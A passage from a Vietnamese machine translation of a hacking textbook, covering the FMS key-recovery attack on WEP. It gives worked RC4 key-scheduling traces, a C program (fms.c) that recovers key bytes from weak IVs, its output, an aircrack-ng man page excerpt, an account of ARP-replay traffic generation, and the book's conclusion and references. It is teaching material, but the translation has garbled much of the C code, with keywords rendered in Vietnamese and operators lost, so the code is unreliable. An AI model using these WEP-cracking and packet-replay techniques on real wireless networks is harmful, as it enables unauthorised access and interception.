Thuật toán này khá đơn giản. Đầu tiên, nó thực hiện A + 3 bước của Thuật toán
lập lịch khóa (KSA). Điều này có thể thực hiện mà không cần biết khóa, vì IV sẽ
chiếm ba byte đầu tiên của mảng K. Nếu biết byte thứ không của khóa và A bằng 1, KSA
có thể được thực hiện đến bước thứ tư, vì bốn byte đầu tiên của mảng K sẽ được biết.
Tại thời điểm này, nếu S[0] hoặc S[1] bị nhiễu bởi bước cuối cùng, toàn bộ nỗ
lực nên bị loại bỏ. Nói một cách đơn giản hơn, nếu j nhỏ hơn 2, nỗ lực nên bị loại
bỏ. Nếu không, hãy lấy giá trị của j và giá trị của S[A + 3] và trừ cả hai giá trị
này khỏi byte luồng khóa đầu tiên (tất nhiên là modulo 256). Giá trị này sẽ là byte
khóa chính xác khoảng 5 phần trăm thời gian và ngẫu nhiên hiệu quả dưới 95 phần trăm
thời gian. Nếu điều này được thực hiện với đủ IV yếu (với các giá trị thay đổi cho
X), thì có thể xác định được byte khóa chính xác. Cần khoảng 60 IV để đưa xác suất lên
trên 50 phần trăm.
Sau khi xác định được một byte khóa, toàn bộ quá trình có thể được thực hiện lại
để xác định byte khóa tiếp theo, cho đến khi toàn bộ khóa được tìm ra.
Để minh họa, RC4 sẽ được thu nhỏ lại để N bằng 16 thay vì 256. Điều này có
nghĩa là mọi thứ đều theo modulo 16 thay vì 256 và tất cả các mảng đều là 16 "byte"
bao gồm 4 bit, thay vì 256 byte thực tế.
Giả sử khóa là (1, 2, 3, 4, 5) và byte khóa thứ không sẽ bị tấn công,
A bằng 0. Điều này có nghĩa là IV yếu phải có dạng (3, 15, X). Trong ví dụ này, X sẽ
bằng 2, do đó giá trị hạt giống sẽ là (3, 15, 2, 1, 2, 3, 4, 5).
Khi sử dụng hạt giống này, byte đầu tiên của đầu ra luồng khóa sẽ là 9.
đầu ra = 9
A = 0
IV = 3, 15, 2
Chìa khóa = 1, 2, 3, 4, 5
Seed = IV được nối với khóa
K[] = 3 15 2 XXXXX 3 15 2 XXXXX
S[] = 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
440 0x700
Machine Translated by Google
Vì khóa hiện chưa được biết nên mảng K sẽ được tải bằng khóa hiện đã biết và
mảng S sẽ được điền các giá trị tuần tự từ 0 đến 15. Sau đó, j được khởi tạo thành
0 và ba bước đầu tiên của KSA được thực hiện.
Hãy nhớ rằng mọi phép toán đều được thực hiện theo modulo 16.
Bước một của KSA:
tôi = 0
j = j + S[i] + K[i]
j =0+0+3=3
Hoán đổi S[i] và S[j]
K[] = 3 15 2 XXXXX 3 15 2 XXXXX
S[] = 3 1 2 0 4 5 6 7 8 9 10 11 12 13 14 15
Bước 2 của KSA:
tôi = 1
j = j + S[i] + K[i]
j = 3 + 1 + 15 = 3
Hoán đổi S[i] và S[j]
K[] = 3 15 2 XXXXX 3 15 2 XXXXX
S[] = 3 0 2 1 4 5 6 7 8 9 10 11 12 13 14 15
Bước ba của KSA:
tôi = 2
j = j + S[i] + K[i]
j = 3 + 2 + 2 = 7
Hoán đổi S[i] và S[j]
K[] = 3 15 2 XXXXX 3 15 2 XXXXX
S[] = 3 0 7 1456 2 8 9 10 11 12 13 14 15
Tại thời điểm này, j không nhỏ hơn 2, do đó quá trình có thể tiếp tục. S[3] là 1, j là 7 và
byte đầu tiên của đầu ra luồng khóa là 9. Do đó, byte thứ không của khóa phải là 9
7
1 = 1.
Thông tin này có thể được sử dụng để xác định byte tiếp theo của khóa, sử
dụng IV dưới dạng (4, 15, X) và thực hiện KSA đến bước thứ tư. Sử dụng IV (4,
15, 9), byte đầu tiên của luồng khóa là 6.
đầu ra = 6
A = 0
IV = 4, 15, 9
Chìa khóa = 1, 2, 3, 4, 5
Mật mã học 441
Machine Translated by Google
Seed = IV được nối với khóa
K[] = 4 15 9 1 XXXX 4 15 9 1 XXXX
S[] = 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Bước một của KSA:
tôi = 0
j = j + S[i] + K[i]
j = 0 + 0 + 4 = 4
Hoán đổi S[i] và S[j]
K[] = 4 15 9 1 XXXX 4 15 9 1 XXXX
S[] = 4 123 0 5 6 7 8 9 10 11 12 13 14 15
Bước 2 của KSA:
tôi = 1
j = j + S[i] + K[i] j
= 4 + 1 + 15 = 4
Hoán đổi S[i] và S[j]
K[] = 4 15 9 1 XXXX 4 15 9 1 XXXX
S[] = 4 0 2 3 1 5 6 7 8 9 10 11 12 13 14 15
Bước ba của KSA:
tôi = 2
j = j + S[i] + K[i] j
= 4 + 2 + 9 = 15
Hoán đổi S[i] và S[j]
K[] = 4 15 9 1 XXXX 4 15 9 1 XXXX
S[] = 4 0 15 3 1 5 6 7 8 9 10 11 12 13 14 2
Bước bốn của KSA:
tôi = 3
j = j + S[i] + K[i] j
= 15 + 3 + 1 = 3
Hoán đổi S[i] và S[j]
K[] = 4 15 9 1 XXXX 4 15 9 1 XXXX
S[] = 4 0 15 3 1 5 6 7 8 9 10 11 12 13 14 2
442 0x700
đầu ra
j
6
1=2
3
S[4] = khóa[1]
Machine Translated by Google
Một lần nữa, byte khóa chính xác được xác định. Tất nhiên, vì mục đích
trình diễn, các giá trị cho X đã được chọn một cách chiến lược. Để cung cấp
cho bạn cảm nhận thực sự về bản chất thống kê của cuộc tấn công vào một
triển khai RC4 đầy đủ, mã nguồn sau đây đã được đưa vào:
fms.c
#include <stdio.h>
/* Mã hóa luồng RC4 */ int
RC4(int *IV, int *key) { int
K[256]; int
S[256]; int
seed[16]; int
i, j, k, t;
//Hạt giống = IV + khóa;
đối với (k = 0; k < 3; k+
+) hạt giống [k] = IV
[k]; đối với (k = 0; k < 13;
k++) hạt giống [k + 3] = khóa [k];
// -= Thuật toán lập lịch khóa (KSA) =- //Khởi
tạo mảng. for(k=0; k<256; k+
+) { S[k] = k; K[k] =
seed[k%16];
}
j=0;
đối với(i=0; i < 256; i++)
{ j = (j + S[i] + K[i])%256;
t=S[i]; S[i]=S[j]; S[j]=t; // Hoán đổi(S[i], S[j]);
}
// Bước đầu tiên của PRGA cho byte luồng khóa đầu tiên
i = 0;
j = 0;
i = i + 1;
j = j + S[i];
t=S[i]; S[i]=S[j]; S[j]=t; // Hoán đổi(S[i], S[j]);
k = (S[i] + S[j])%256;
trả về S[k];
}
int main(int argc, char *argv[]) { int
K[256]; int
S[256];
số nguyên IV[3];
Mật mã học 443
Machine Translated by Google
int khóa[13] = {1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213}; int hạt giống[16];
int N = 256; int
i, j, k, t, x,
A; int luồng khóa, byte
khóa;
int max_result, max_count; int
kết quả[256];
int known_j, known_S;
if(argc < 2)
{ printf("Cách sử dụng: %s <keybyte để tấn công>\n", argv[0]);
exit(0); }
A = atoi(argv[1]);
if((A > 12) || (A < 0))
{ printf("keybyte phải từ 0 đến 12.\n"); exit(0); }
đối với (k = 0; k < 256; k+
+) kết quả [k] = 0;
IV[0] = A + 3;
IV[1] = N - 1;
đối với (x = 0; x < 256; x++) {
IV[2] = x;
keystream = RC4(IV, key);
printf("Sử dụng IV: (%d, %d, %d), byte keystream đầu tiên là %u\n",
IV[0], IV[1], IV[2], luồng khóa);
printf("Đang thực hiện %d bước đầu tiên của KSA..", A+3);
//Hạt giống = IV + khóa;
đối với (k = 0; k < 3; k+
+) hạt giống [k] = IV
[k]; đối với (k = 0; k < 13; k++)
hạt giống[k+3] = khóa[k];
// -= Thuật toán lập lịch khóa (KSA) =- //Khởi tạo
mảng. for(k=0; k<256; k++)
{ S[k] = k; K[k] =
seed[k%16]; }
j=0;
đối với(i=0; i < (A + 3); i++) { j =
(j + S[i] + K[i])%256; t = S[i];
444 0x700
Machine Translated by Google
S[i] = S[j];
S[j] = t; }
if(j < 2) { // Nếu j < 2, thì S[0] hoặc S[1] đã bị nhiễu. printf("S[0] hoặc S[1]
đã bị nhiễu, loại bỏ..\n"); } else { known_j = j; known_S = S[A+3];
printf("tại
lần lặp KSA
#%d, j=%d và
S[%d]=%d\n", A+3, known_j, A+3, known_S); keybyte = keystream known_j - known_S;
trong khi(keybyte < 0)
keybyte = keybyte + 256;
printf("key[%d] dự đoán = %d - %d - %d = %d\n",
A, luồng khóa, known_j, known_S, keybyte);
kết quả[keybyte] = kết quả[keybyte] + 1; } } kết
quả tối đa = -1; số
lượng tối đa = 0;
đối với (k = 0; k < 256; k++)
{ nếu (số_đếm_tối_đa < kết_quả[k])
{ số_đếm_tối_đa = kết_quả[k];
kết_quả_tối_đa =
k; }
} printf("\nBảng tần suất cho khóa[%d] (* = thường xuyên nhất)\n", A); for(k=0; k < 32; k++)
{ for(i=0; i < 8; i++) { t =
k+i*32; if(max_result == t)
printf("%3d
%2d*| ", t, results[t]);
else printf("%3d %2d | ", t, results[t]);
} printf("\n"); }
printf("\n[Khóa thực tế] = (");
for(k=0; k < 12; k++)
printf("%d, ",khóa[k]);
printf("%d)\n", khóa[12]);
printf("key[%d] có thể là %d\n", A, max_result); }
Mã này thực hiện cuộc tấn công FMS vào WEP 128 bit (khóa 104 bit, IV 24
bit), sử dụng mọi giá trị có thể có của X. Byte khóa để tấn công là đối số duy nhất,
Mật mã học 445
Machine Translated by Google
và khóa được mã hóa cứng vào mảng khóa . Đầu ra sau đây cho thấy quá trình
biên dịch và thực thi mã fms.c để bẻ khóa RC4.
reader@hacking:~/booksrc $ gcc -o fms fms.c
reader@hacking:~/booksrc $ ./fms
Cách sử dụng: ./fms <keybyte để tấn
công> reader@hacking:~/booksrc $ ./
fms 0 Sử dụng IV: (3, 255, 0), byte keystream đầu
tiên là 7 Thực hiện 3 bước đầu tiên của KSA.. tại lần lặp KSA #3, j=5 và
S[3]=1 dự đoán key[0] = 7 - 5 - 1 =
1 Sử dụng IV: (3, 255, 1), byte keystream đầu tiên là
211 Thực hiện 3 bước đầu tiên của KSA.. tại lần lặp KSA #3, j=6 và S[3]=1 dự
đoán key[0] = 211 - 6 - 1 = 204 Sử dụng
IV: (3, 255, 2), byte keystream đầu tiên là 241 Thực
hiện 3 bước đầu tiên của KSA.. tại lần lặp KSA #3, j=7 và S[3]=1 key[0] dự
đoán = 241 - 7 - 1 = 233
.:[ đầu ra đã được cắt bớt ]:.
Sử dụng IV: (3, 255, 252), byte luồng khóa đầu tiên là
175 Thực hiện 3 bước đầu tiên của KSA.. S[0] hoặc S[1] đã bị nhiễu, loại
bỏ..
Sử dụng IV: (3, 255, 253), byte luồng khóa đầu tiên là
149 Thực hiện 3 bước đầu tiên của KSA.. tại lần lặp KSA #3, j=2 và S[3]=1 dự
đoán khóa[0] = 149 - 2 - 1 = 146 Sử dụng
IV: (3, 255, 254), byte luồng khóa đầu tiên là 253 Thực
hiện 3 bước đầu tiên của KSA.. tại lần lặp KSA #3, j=3 và S[3]=2 dự đoán
khóa[0] = 253 - 3 - 2 = 248 Sử dụng IV:
(3, 255, 255), byte luồng khóa đầu tiên là 72 Thực hiện
3 bước đầu tiên của KSA.. tại lần lặp KSA #3, j=4 và S[3]=1 dự đoán khóa[0]
= 72 - 4 - 1 = 67
Bảng tần suất cho khóa[0] (* = thường xuyên nhất)
0 1 | 32 3 | 64 0 | 96 1 | 128 2 | 160 0 | 192 1 | 224 3 | 1 10*| 33 0 | 65
1 | 97 0 | 129 1 | 161 1 | 193 1 | 225 0 | 2 0 | 34 1 | 66 0 | 98 1 | 130 1
| 162 1 | 194 1 | 226 1 | 3 1 | 35 0 | 67 2 | 99 1 | 131 1 | 163 0 | 195 0 |
227 1 | 4 0 | 36 0 | 68 0 | 100 1 | 132 0 | 164 0 | 196 2 | 228 0 | 5 0 | 37
1 | 69 0 | 101 1 | 133 0 | 165 2 | 197 2 | 229 1 | 6 0 | 38 0 | 70 1 | 102
3 | 134 2 | 166 1 | 198 1 | 230 2 | 7 0 | 39 0 | 71 2 | 103 0 | 135 5 | 167
3 | 199 2 | 231 0 | 8 3 | 40 0 | 72 1 | 104 0 | 136 1 | 168 0 | 200 1 | 232
1 | 9 1 | 41 0 | 73 0 | 105 0 | 137 2 | 169 1 | 201 3 | 233 2 | 10 1 | 42 3
| 74 1 | 106 2 | 138 0 | 170 1 | 202 3 | 234 0 | 11 1 | 43 2 | 75 1 | 107 2
| 139 1 | 171 1 | 203 0 | 235 0 | 12 0 | 44 1 | 76 0 | 108 0 | 140 2 | 172
1 | 204 1 | 236 1 | 13 2 | 45 2 | 77 0 | 109 0 | 141 0 | 173 2 | 205 1 | 237
0 | 14 0 | 46 0 | 78 2 | 110 2 | 142 2 | 174 1 | 206 0 | 238 1 | 15 0 | 47 3
| 79 1 | 111 2 | 143 1 | 175 0 | 207 1 | 239 1 | 16 1 | 48 1 | 80 1 | 112 0 |
144 2 | 176 0 | 208 0 | 240 0 | 17 0 | 49 0 | 81 1 | 113 1 | 145 1 | 177 1 |
209 0 | 241 1 | 18 1 | 50 0 | 82 0 | 114 0 | 146 4 | 178 1 | 210 1 | 242 0 |
446 0x700
Machine Translated by Google
19 2 | 51 0 | 83 0 | 115 0 | 147 1 | 179 0 | 211 1 | 243 0 | 20 3 | 52 0 | 84
3 | 116 1 | 148 2 | 180 2 | 212 2 | 244 3 | 21 0 | 53 0 | 85 1 | 117 2 | 149
2 | 181 1 | 213 0 | 245 1 | 22 0 | 54 3 | 86 3 | 118 0 | 150 2 | 182 2 | 214
0 | 246 3 | 23 2 | 55 0 | 87 0 | 119 2 | 151 2 | 183 1 | 215 1 | 247 2 | 24 1
| 56 2 | 88 3 | 120 1 | 152 2 | 184 1 | 216 0 | 248 2 | 25 2 | 57 2 | 89 0 |
121 1 | 153 2 | 185 0 | 217 1 | 249 3 | 26 0 | 58 0 | 90 0 | 122 0 | 154 1 |
186 1 | 218 0 | 250 1 | 27 0 | 59 2 | 91 1 | 123 3 | 155 2 | 187 1 | 219 1 |
251 1 | 28 2 | 60 1 | 92 1 | 124 0 | 156 0 | 188 0 | 220 0 | 252 3 | 29 1 |
61 1 | 93 1 | 125 0 | 157 0 | 189 0 | 221 0 | 253 1 | 30 0 | 62 1 | 94 0 |
126 1 | 158 1 | 190 0 | 222 1 | 254 0 | 31 0 | 63 0 | 95 1 | 127 0 | 159 0 |
191 0 | 223 0 | 255 0 |
[Khóa thực] = (1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213) key[0]
có thể là 1
reader@hacking:~/booksrc $
reader@hacking:~/booksrc $ ./fms 12 Sử
dụng IV: (15, 255, 0), byte luồng khóa đầu tiên là 81
Thực hiện 15 bước đầu tiên của KSA.. tại lần lặp KSA #15, j=251 và S[15]=1 key[12]
dự đoán = 81 - 251 - 1 = 85 Sử dụng IV:
(15, 255, 1), byte luồng khóa đầu tiên là 80 Thực hiện
15 bước đầu tiên của KSA.. tại lần lặp KSA #15, j=252 và S[15]=1 key[12] dự đoán
= 80 - 252 - 1 = 83 Sử dụng IV: (15, 255,
2), byte luồng khóa đầu tiên là 159 Thực hiện 15 bước
đầu tiên của KSA.. tại lần lặp KSA #15, j=253 và S[15]=1 dự đoán khóa[12] = 159 253 - 1 = 161
.:[ đầu ra đã được cắt bớt ]:.
Sử dụng IV: (15, 255, 252), byte luồng khóa đầu tiên là
238 Thực hiện 15 bước đầu tiên của KSA.. tại lần lặp KSA #15, j=236 và S[15]=1 dự
đoán khóa[12] = 238 - 236 - 1 = 1 Sử dụng
IV: (15, 255, 253), byte luồng khóa đầu tiên là 197 Thực
hiện 15 bước đầu tiên của KSA.. tại lần lặp KSA #15, j=236 và S[15]=1 dự đoán
khóa[12] = 197 - 236 - 1 = 216 Sử dụng IV:
(15, 255, 254), byte luồng khóa đầu tiên là 238 Thực hiện
15 bước đầu tiên của KSA.. tại lần lặp KSA #15, j=249 và S[15]=2 dự đoán khóa[12]
= 238 - 249 - 2 = 243 Sử dụng IV: (15, 255,
255), byte luồng khóa đầu tiên là 176 Thực hiện 15 bước
đầu tiên của KSA.. tại lần lặp KSA #15, j=250 và S[15]=1 dự đoán khóa[12] = 176 250 - 1 = 181
Bảng tần suất cho khóa[12] (* = thường xuyên nhất)
0 1 | 32 0 | 64 2 | 96 0 | 128 1 | 160 1 | 192 0 | 224 2 | 1 2 | 33 1 | 65 0
| 97 2 | 129 1 | 161 1 | 193 0 | 225 0 | 2 0 | 34 2 | 66 2 | 98 0 | 130 2 |
162 3 | 194 2 | 226 0 | 3 2 | 35 0 | 67 2 | 99 2 | 131 0 | 163 1 | 195 0 |
227 5 | 4 0 | 36 0 | 68 0 | 100 1 | 132 0 | 164 0 | 196 1 | 228 1 | 5 3 | 37
0 | 69 3 | 101 2 | 133 0 | 165 2 | 197 0 | 229 3 | 6 1 | 38 2 | 70 2 | 102 0
| 134 0 | 166 2 | 198 0 | 230 2 | 7 2 | 39 0 | 71 1 | 103 0 | 135 0 | 167 3
| 199 1 | 231 1 | 8 1 | 40 0 | 72 0 | 104 1 | 136 1 | 168 2 | 200 0 | 232 0 |
Mật mã học 447
Machine Translated by Google
9 0 | 41 1 | 73 0 | 105 0 | 137 1 | 169 1 | 201 1 | 233 1 | 10 2 | 42 2 | 74
0 | 106 4 | 138 2 | 170 0 | 202 1 | 234 0 | 11 3 | 43 1 | 75 0 | 107 1 | 139
3 | 171 2 | 203 1 | 235 0 | 12 2 | 44 0 | 76 0 | 108 2 | 140 2 | 172 0 | 204
0 | 236 1 | 13 0 | 45 0 | 77 0 | 109 1 | 141 1 | 173 0 | 205 2 | 237 4 | 14 1
| 46 1 | 78 1 | 110 0 | 142 3 | 174 1 | 206 0 | 238 1 | 15 1 | 47 2 | 79 1 |
111 0 | 143 0 | 175 1 | 207 2 | 239 0 | 16 2 | 48 0 | 80 1 | 112 1 | 144 3 |
176 0 | 208 0 | 240 0 | 17 1 | 49 0 | 81 0 | 113 1 | 145 1 | 177 0 | 209 0 |
241 0 | 18 0 | 50 2 | 82 0 | 114 1 | 146 0 | 178 0 | 210 1 | 242 0 | 19 0 |
51 0 | 83 4 | 115 1 | 147 0 | 179 1 | 211 4 | 243 2 | 20 0 | 52 1 | 84 1 |
116 4 | 148 0 | 180 1 | 212 1 | 244 1 | 21 0 | 53 1 | 85 1 | 117 0 | 149 2 |
181 1 | 213 12*| 245 1 | 22 1 | 54 3 | 86 0 | 118 0 | 150 1 | 182 2 | 214 3 |
246 1 | 23 0 | 55 3 | 87 0 | 119 1 | 151 0 | 183 0 | 215 0 | 247 0 | 24 0 |
56 1 | 88 0 | 120 0 | 152 2 | 184 0 | 216 2 | 248 0 | 25 1 | 57 0 | 89 0 |
121 2 | 153 0 | 185 2 | 217 1 | 249 0 | 26 1 | 58 0 | 90 1 | 122 0 | 154 1 |
186 0 | 218 1 | 250 2 | 27 2 | 59 1 | 91 1 | 123 0 | 155 1 | 187 1 | 219 0 |
251 2 | 28 2 | 60 2 | 92 1 | 124 1 | 156 1 | 188 1 | 220 0 | 252 0 | 29 1 |
61 1 | 93 3 | 125 2 | 157 2 | 189 2 | 221 0 | 253 1 | 30 0 | 62 1 | 94 0 |
126 0 | 158 1 | 190 1 | 222 1 | 254 2 | 31 0 | 63 0 | 95 1 | 127 0 | 159 0 |
191 0 | 223 2 | 255 0 |
[Khóa thực tế] = (1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213)
khóa[12] có thể là 213
reader@hacking:~/booksrc $
Kiểu tấn công này đã thành công đến mức một giao thức không dây mới
nên sử dụng WPA nếu bạn mong đợi bất kỳ hình thức bảo mật nào. Tuy nhiên,
vẫn còn một số lượng đáng kinh ngạc các mạng không dây chỉ được bảo vệ bằng
WEP. Ngày nay, có những công cụ khá mạnh mẽ để thực hiện các cuộc tấn công
WEP. Một ví dụ đáng chú ý là aircrack, đã được bao gồm trong LiveCD; tuy
nhiên, nó yêu cầu phần cứng không dây mà bạn có thể không có. Có rất nhiều
tài liệu hướng dẫn về cách sử dụng công cụ này, công cụ này đang được
phát triển liên tục. Trang hướng dẫn đầu tiên sẽ giúp bạn bắt đầu.
448 0x700
Machine Translated by Google
AIRCRACK-NG(1)
AIRCRACK-NG(1)
TÊN
aircrack-ng là một công cụ bẻ khóa 802.11 WEP/WPA-PSK.
TÓM TẮT
aircrack-ng [tùy chọn] <.cap / .ivs tập tin>
SỰ MIÊU TẢ
aircrack-ng là một công cụ bẻ khóa 802.11 WEP / WPA-PSK. Nó thực hiện như vậyđược gọi là cuộc tấn công Fluhrer - Mantin - Shamir (FMS), cùng với một số cuộc tấn công mới
bởi một hacker tài năng tên là KoreK. Khi đủ các gói được mã hóa đã được
tổng hợp lại, aircrack-ng có thể khôi phục khóa WEP gần như ngay lập tức.
TÙY CHỌN
Các tùy chọn phổ biến:
-a <chế độ>
Buộc chế độ tấn công là 1 hoặc wep cho WEP và 2 hoặc wpa cho WPA-PSK.
-e <tên>
Chọn mạng đích dựa trên ESSID. Tùy chọn này cũng
cần thiết để bẻ khóa WPA nếu SSID bị che giấu.
Một lần nữa, hãy tham khảo Internet để biết các vấn đề về phần cứng. Chương trình này đã phổ biến
một kỹ thuật thông minh để thu thập IV. Chờ đợi để thu thập đủ IV từ các
gói tin sẽ mất hàng giờ, thậm chí là nhiều ngày. Nhưng vì không dây vẫn là
một mạng, nên sẽ có lưu lượng ARP. Vì mã hóa WEP không sửa đổi kích thước
của gói tin, nên rất dễ để chọn ra gói tin nào là ARP. Cuộc tấn công này sẽ
bắt một gói tin được mã hóa có kích thước bằng yêu cầu ARP, sau đó phát lại
gói tin đó vào mạng hàng nghìn lần. Mỗi lần, gói tin được giải mã và gửi
đến mạng, và một phản hồi ARP tương ứng được gửi trở lại.
Những phản hồi bổ sung này không gây hại cho mạng; tuy nhiên, chúng tạo ra
một gói riêng với IV mới. Sử dụng kỹ thuật này để đánh lừa mạng, có thể thu
thập đủ IV để bẻ khóa WEP chỉ trong vài phút.
Mật mã học 449
Machine Translated by Google
Machine Translated by Google
0x800
PHẦN KẾT LUẬN
Hacking có xu hướng là một chủ đề bị hiểu lầm, và
phương tiện truyền thông thích giật gân, điều này chỉ
làm trầm trọng thêm tình trạng này. Những thay đổi
về thuật ngữ hầu như không hiệu quả—điều cần thiết là thay đổi
tư duy. Tin tặc chỉ là những người có tinh thần sáng tạo và hiểu biết sâu sắc về
công nghệ. Tin tặc không nhất thiết là tội phạm, mặc dù miễn là tội phạm có khả năng
trả giá, sẽ luôn có một số tội phạm là tin tặc. Không có gì sai với bản thân kiến
thức của tin tặc, bất chấp các ứng dụng tiềm năng của nó.
Dù bạn có thích hay không, các lỗ hổng vẫn tồn tại trong phần mềm và mạng mà thế
giới phụ thuộc vào hàng ngày. Đây chỉ đơn giản là kết quả tất yếu của tốc độ phát triển
phần mềm nhanh chóng. Phần mềm mới thường thành công ngay từ đầu, ngay cả khi có lỗ
hổng. Thành công này có nghĩa là tiền, thu hút tội phạm học cách khai thác các lỗ hổng
này để kiếm lợi nhuận. Điều này có vẻ như sẽ là một vòng xoáy đi xuống vô tận, nhưng
may mắn thay, tất cả những người tìm thấy lỗ hổng trong phần mềm không chỉ là những tên
tội phạm độc hại, vì lợi nhuận. Những người này là tin tặc, mỗi người có động cơ
riêng; một số bị thúc đẩy bởi sự tò mò, những người khác được trả tiền cho công việc
của họ, những người khác nữa chỉ thích thử thách, và một số thực tế là tội phạm. Phần
lớn những người này
Machine Translated by Google
không có ý định xấu; thay vào đó, họ giúp các nhà cung cấp sửa phần mềm dễ bị tấn công
của họ. Nếu không có tin tặc, các lỗ hổng và lỗ hổng trong phần mềm sẽ không được
phát hiện. Thật không may, hệ thống pháp luật chậm chạp và hầu như không hiểu biết
về công nghệ. Thường thì, các luật hà khắc được thông qua và các bản án quá mức được
đưa ra để cố gắng dọa mọi người không nhìn kỹ. Đây là logic trẻ con - ngăn cản
tin tặc khám phá và tìm kiếm các lỗ hổng không giải quyết được vấn đề gì. Thuyết
phục mọi người rằng hoàng đế đang mặc quần áo mới lạ không thay đổi được thực tế là
ông ta không mặc gì. Các lỗ hổng chưa được phát hiện chỉ nằm chờ một người nào đó
độc hại hơn nhiều so với một tin tặc trung bình phát hiện ra chúng. Mối nguy hiểm của
các lỗ hổng phần mềm là tải trọng có thể là bất cứ thứ gì. Sao chép sâu Internet tương
đối vô hại khi so sánh với các kịch bản khủng bố ác mộng mà các luật này rất sợ.
Việc hạn chế tin tặc bằng luật có thể khiến các kịch bản tồi tệ nhất có khả năng
xảy ra hơn, vì nó để lại nhiều lỗ hổng chưa được phát hiện hơn để những kẻ không
bị ràng buộc bởi luật pháp và muốn gây ra thiệt hại thực sự khai thác.
Một số người có thể lập luận rằng nếu không có tin tặc, sẽ không có lý do gì
để sửa những lỗ hổng chưa được phát hiện này. Đó là một quan điểm, nhưng cá nhân tôi
thích sự tiến bộ hơn là trì trệ. Tin tặc đóng vai trò rất quan trọng trong quá trình
đồng tiến hóa của công nghệ. Nếu không có tin tặc, sẽ có rất ít lý do để cải thiện bảo
mật máy tính. Bên cạnh đó, miễn là những câu hỏi "Tại sao?" và "Nếu như?" được đặt
ra, tin tặc sẽ luôn tồn tại. Một thế giới không có tin tặc sẽ là một thế giới không
có sự tò mò và đổi mới.
Hy vọng rằng, cuốn sách này đã giải thích một số kỹ thuật hack cơ bản và thậm chí
có thể là tinh thần của nó. Công nghệ luôn thay đổi và mở rộng, vì vậy sẽ luôn có những
bản hack mới. Sẽ luôn có những lỗ hổng mới trong phần mềm, sự mơ hồ trong các thông số
kỹ thuật giao thức và vô số những sự giám sát khác. Kiến thức thu được từ cuốn sách
này chỉ là điểm khởi đầu. Bạn phải mở rộng kiến thức bằng cách liên tục tìm hiểu cách
mọi thứ hoạt động, tự hỏi về các khả năng và nghĩ về những điều mà các nhà phát triển
không nghĩ đến. Bạn phải tận dụng tối đa những khám phá này và áp dụng kiến thức này
theo bất kỳ cách nào bạn thấy phù hợp. Bản thân thông tin không phải là tội phạm.
0x810 Tham khảo
Aleph1. “Đập phá Stack để vui và kiếm lợi nhuận.” Phrack, số 49, ấn phẩm trực tuyến tại
http://www.phrack.org/issues.html?issue=49&id=14#article
Bennett, C., F. Bessette, và G. Brassard. “Mật mã lượng tử thực nghiệm.” Tạp
chí mật mã học, tập 5, số 1 (1992), 3–
28.
Borisov, N., I. Goldberg và D. Wagner. “Bảo mật của thuật toán WEP.”
Xuất bản trực tuyến tại http://www.isaac.cs.berkeley.edu/isaac/
wep-faq.html
Brassard, G. và P. Bratley. Cơ sở của thuật toán. Englewood Cliffs, NJ: Prentice Hall,
1995.
452 0x800
Machine Translated by Google
CNET News. “40-Bit Crypto Proves No Problem.” Ấn phẩm trực tuyến tại http://
www.news.com/News/Item/0,4,7483,00.html
Conover, M. (Shok). “w00w00 về Heap Overflows.” Ấn phẩm trực tuyến tại http://
www.w00w00.org/files/articles/heaptut.txt
Electronic Frontier Foundation. “Felten vs. RIAA.” Ấn phẩm trực tuyến tại
http://www.eff.org/IP/DMCA/Felten_v_RIAA
Eller, R. (caezar). “Bỏ qua Bộ lọc dữ liệu MSB để khai thác tràn bộ đệm trên Nền tảng
Intel.” Ấn phẩm trực tuyến tại http://community.core-sdi
.com/~juliano/bypass-msb.txt
Fluhrer, S., I. Mantin, và A. Shamir. “Điểm yếu trong thuật toán lập lịch chính của
RC4.” Ấn phẩm trực tuyến tại http://citeseer.ist.psu.edu/
fluhrer01weaknesses.html
Grover, L. “Cơ học lượng tử giúp tìm kiếm kim trong đống cỏ khô.” Physical
Review Letters, tập 79, số 2 (1997), 325–
28.
Joncheray, L. “Simple Active Attack Against TCP.” Ấn phẩm trực tuyến tại http://
www.insecure.org/stf/iphijack.txt
Levy, S. Hackers: Những anh hùng của cuộc cách mạng máy tính. New York: Doubleday, 1984.
McCullagh, D. “Tin tặc Adobe người Nga bị bắt”, Wired News, ngày 17 tháng 7 năm 2001.
Xuất bản trực tuyến tại http://www.wired.com/news/politics/
0,1283,45298,00.html
Nhóm phát triển NASM. “NASM—The Netwide Assembler (Manual),” phiên bản
0.98.34. Ấn phẩm trực tuyến tại http://nasm
.sourceforge.net
Rieck, K. “Dấu vân tay mờ: Tấn công các điểm yếu trong con người
Não.” Ấn phẩm trực tuyến tại http://freeworld.thc.org/papers/ffp.pdf
Schneier, B. Mật mã ứng dụng: Giao thức, thuật toán và mã nguồn bằng C, ấn bản lần
2. New York: John Wiley & Sons, 1996.
Scut và Team Teso. “Khai thác lỗ hổng chuỗi định dạng”, phiên bản 1.2.
Có sẵn trực tuyến tại trang web của người dùng cá nhân.
Shor, P. “Thuật toán thời gian đa thức cho phân tích thừa số nguyên tố và logarit rời
rạc trên máy tính lượng tử.” SIAM Journal of Computing, tập 26 (1997), 1484–
509. Ấn
phẩm trực tuyến tại http://www.arxiv.org/abs/
quant-ph/9508027
Smith, N. “Các lỗ hổng Stack Smashing trong Hệ điều hành UNIX.”
Có sẵn trực tuyến tại trang web của người dùng cá nhân.
Solar Designer. “Xử lý Non-Executable Stack (và sửa lỗi).” BugTraq
bài đăng ngày 10 tháng 8 năm 1997.
Stinson, D. Mật mã học: Lý thuyết và Thực hành. Boca Raton, FL: CRC Press, 1995.
Zwicky, E., S. Cooper và D. Chapman. Xây dựng tường lửa Internet, ấn bản lần 2.
Sebastopol, CA: O'Reilly, 2000.
Kết luận 453
Machine Translated by Google
0x820 Nguồn
pcac
Máy tính lập trình có sẵn tại Peter Glen
http://ibiblio.org/pub/Linux/apps/math/calc/pcalc-000.tar.gz
NASM
Netwide Assembler, từ Nhóm phát triển NASM
http://nasm.sourceforge.net
Kẻ thù
Một công cụ tiêm gói lệnh dòng lệnh từ obecian (Mark Grimes) và
Jeff Nathan
http://www.packetfactory.net/projects/nemesis
hít vào
Một bộ sưu tập các công cụ đánh hơi mạng từ Dug Song
http://monkey.org/~dugsong/dsniff
Người tháo gỡ
